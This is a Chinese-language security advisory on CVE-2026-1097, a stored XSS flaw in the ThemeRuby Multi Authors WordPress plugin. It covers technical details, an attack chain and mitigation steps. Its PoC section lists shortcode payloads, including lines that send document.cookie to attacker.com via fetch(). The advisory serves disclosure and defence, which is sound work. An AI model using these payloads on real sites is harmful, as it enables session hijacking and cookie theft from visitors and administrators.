CVE-2026-1097 CVSS 6.4 中危

CVE-2026-1097 WordPress ThemeRuby Multi Authors插件存储型XSS漏洞

披露日期: 2026-01-24

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-1097

漏洞类型

存储型XSS

CVSS评分

6.4 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

ThemeRuby Multi Authors – Assign Multiple Writers to Posts WordPress插件

漏洞概述

CVE-2026-1097是WordPress平台下ThemeRuby Multi Authors插件的一个存储型跨站脚本(XSS)漏洞。该插件用于为文章分配多个作者。漏洞源于插件在处理短代码(Shortcode)属性'before'和'after'时，未对用户输入进行充分的输入过滤和输出转义。攻击者通过利用此漏洞，可以在包含恶意JavaScript代码的短代码属性中注入任意Web脚本。由于是存储型XSS，恶意代码会被永久保存在服务器端，当其他用户访问包含该短代码的页面时，恶意脚本会自动执行，可能导致会话劫持、敏感信息窃取或进一步的攻击。由于该漏洞需要 Contributor 级别（贡献者）或更高权限的认证用户才能利用，因此攻击门槛相对较低，对使用该插件的WordPress网站构成中等安全风险。

技术细节

漏洞存在于ThemeRuby Multi Authors插件的class-tma-shortcodes.php文件第76行附近。插件提供的[authors_list]等短代码支持'before'和'after'参数，允许用户自定义作者列表前后的HTML内容。问题在于插件直接使用用户提供的这些参数值而未进行适当的HTML转义或输入验证。当认证用户（Contributor+）在文章或页面中插入类似[authors_list before='<script>alert(1)</script>']的短代码时，恶意脚本会被存储在数据库中。其他用户在访问该页面时，浏览器会解析并执行这段未转义的JavaScript代码，从而触发XSS攻击。攻击者可利用此漏洞窃取管理员Cookie、劫持用户会话或重定向用户到恶意网站。攻击的持久性是存储型XSS的主要特点，即使原始攻击者账户被禁用，恶意代码仍会继续存在于页面中。

攻击链分析

STEP 1

步骤1

攻击者获得WordPress网站的 Contributor 或更高权限账户

STEP 2

步骤2

攻击者在文章/页面编辑界面插入包含恶意XSS payload的短代码，如[authors_list before='<script>恶意代码</script>']

STEP 3

步骤3

攻击者发布或更新文章，恶意脚本被存储到数据库中

STEP 4

步骤4

当其他用户（管理员、访客等）访问包含该短代码的页面时

STEP 5

步骤5

浏览器解析页面时，未转义的恶意JavaScript代码被执行

STEP 6

步骤6

攻击者通过恶意脚本窃取用户Cookie、会话令牌或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- WordPress ThemeRuby Multi Authors XSS PoC -->
<!-- Required: Contributor-level access or higher -->

<!-- PoC 1: XSS via 'before' attribute -->
[authors_list before='<img src=x onerror=alert(document.cookie)>']

<!-- PoC 2: XSS via 'after' attribute -->
[authors_list after='<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>']

<!-- PoC 3: Combined attributes -->
[authors_list before='<svg onload=fetch("https://attacker.com/log?data="+btoa(document.cookie))>' after='</svg>']

<!-- PoC 4: Using in Gutenberg block or classic editor -->
<!-- Insert the shortcode in any post/page content area -->
<!-- When victim visits the page, XSS payload executes automatically -->

影响范围

ThemeRuby Multi Authors插件 <= 1.0.0

防御指南

临时缓解措施

在官方补丁发布之前，可采取以下临时缓解措施：1) 限制或禁用网站的短代码功能；2) 撤销所有Contributor及以上级别用户的编辑权限；3) 使用安全插件监控包含可疑短代码的文章内容；4) 考虑暂时禁用该插件直至官方发布安全更新；5) 实施严格的Content Security Policy(CSP)头以减少XSS攻击的影响。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表